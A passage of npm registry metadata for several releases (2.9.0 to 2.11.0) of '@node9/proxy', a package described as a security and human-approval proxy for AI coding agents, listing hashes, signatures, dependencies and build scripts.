{"shasum":"c556ac461f43c7fd24a232dd96e1a426572bbf8b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.9.0.tgz","fileCount":17,"integrity":"sha512-KR12AXnS5NPMzsVrJQG8+ZZjz7jJ9oHXUg4g1JdqaWnYYdrsF2mNddrkX5QBv9QebOqjnXxpPzkOZWxcXLPIBA==","signatures":[{"sig":"MEQCIHlpDAnvEUCr9gSsJ6vxfPghhl1qPm7P/xC+GXqKc4OQAiBfqhLwhMYOVDP7nv3fAAWr6uqCGzn9aQYxQu9fjs64GA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.9.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7367601},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b5d33e7528ab6389d325dcaf2c67b5bfe7fe18a9","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.9.0_1788853115944_0.7862347072806692","host":"s3://npm-registry-packages-npm-production"}},"2.9.1":{"name":"@node9/proxy","version":"2.9.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.9.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"4860bf9dd6fa2912b7b025dcf8592cd0eda183a4","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.9.1.tgz","fileCount":17,"integrity":"sha512-bWk7WKouOJdm5zgtaxltoxPhIAN6WIlEpFWhpgT6a7z7o4VIEgkxkcK26zgqUXOzLQx+32L9vRNK99BbTlOH2w==","signatures":[{"sig":"MEQCIH1TrIZ+s4OQYEy2ca5Os1CzGhHDwWhUsxqxVWlOnFphAiBzvXF51F49Y3S73UAWaxw8wDMeoau3Pv/ONiXci6i/2A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.9.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7367254},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"524c7009d89515997177697917593f5513736d18","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.9.1_1788857665566_0.43575879275101137","host":"s3://npm-registry-packages-npm-production"}},"2.9.2":{"name":"@node9/proxy","version":"2.9.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.9.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"a877134f097d587226d82c1f92f44e99155d9588","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.9.2.tgz","fileCount":17,"integrity":"sha512-G9WWlik2ga0c7DezK8wa0LxLR8qHXoF9f9wS9090xL5CXzH9KvkFMarz5G8IKP6IXkqfvWodEdir7VR+bkGHNg==","signatures":[{"sig":"MEUCIQDdv1IzKmIJT7fE4zrEvAtZj8HLAkUufO32A9E5kd9SfAIgJ6sAxaPmGZ0MasJi9QoetiBaa8UD/y4d1hu7jpnGdL0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.9.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7377860},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"346be63743b474ce4f311612bd5e0758cecf988d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.9.2_1788868211698_0.4802005444463213","host":"s3://npm-registry-packages-npm-production"}},"2.9.3":{"name":"@node9/proxy","version":"2.9.3","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.9.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"69833cae804810ab37a74e8ff378b5129adff159","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.9.3.tgz","fileCount":17,"integrity":"sha512-2B/n5O0APU4lF/tFXazN7XLTULQbR1GodSX/GkZ/Ht7b6W50zD/LYdtE74myl0AooxW4jdD781U07PmvhcjFmA==","signatures":[{"sig":"MEYCIQDNLaKj1gHzebLCDy9J9La5ESKMEFQ+XkBmx7crb/d0DwIhAOupgz4NC3j9Y92+e8g83qe0EMsRttPisDuBdKTPPpez","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.9.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7379918},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b076ac8b6b55c9de04df4995a74c927dd0a24f13","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.9.3_1788872181829_0.38772582577413517","host":"s3://npm-registry-packages-npm-production"}},"2.10.0":{"name":"@node9/proxy","version":"2.10.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.10.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c9e84d9cfc8c12816428fdfffc0429f50bc5d5d5","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.10.0.tgz","fileCount":17,"integrity":"sha512-RzWAhW+KEEnkT0F5gBbVEvDhZVw0tKecp8h2kM/IokWbKzR/3slghei1wT7nkpxuZ+W6iNbgU2P6COZyGlgj8g==","signatures":[{"sig":"MEUCIDRTlV/Ox4/fxb9P7XK9iftC5nwB3KwIuP0oVcKoxIIQAiEAqSGGMXEx+kjYCa/RaCi0gvOlrs1t7szP6+gxLzD5X0w=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.10.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7393281},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"88557586f2b6fe41d5655823106a9e7ccd21a694","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.10.0_1788886674634_0.7264563263429178","host":"s3://npm-registry-packages-npm-production"}},"2.11.0":{"name":"@node9/proxy","version":"2.11.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.11.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"60b1ac802879cb942a9e34677cb8a086a76e8445","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.11.0.tgz","fileCount":34,"integrity":"sha512-sHabmcQXOw2pk9wkWtH3ztVyGiY6kCDxO91qYrCHeBd4UysjIPyyn7rgRST5Y+/Hg1oz8/z48dmPdLJaT3micg==","signatures":[{"sig":"MEUCIBfGVTcjdfFAynHY0ldikemc8k8ZDKuAUu4vTtbnTO41AiEAx6Icglt6uT3ksna2ht0laEmegP4U5IhRW/jAtr6ckf4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.11.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7435908},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"45fc4c13c95af415ed3c9977080e44ce450edbe5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.19.1","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^4.5.4","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^5.0.0","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^26.4.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.124.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"^5.0.0","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundl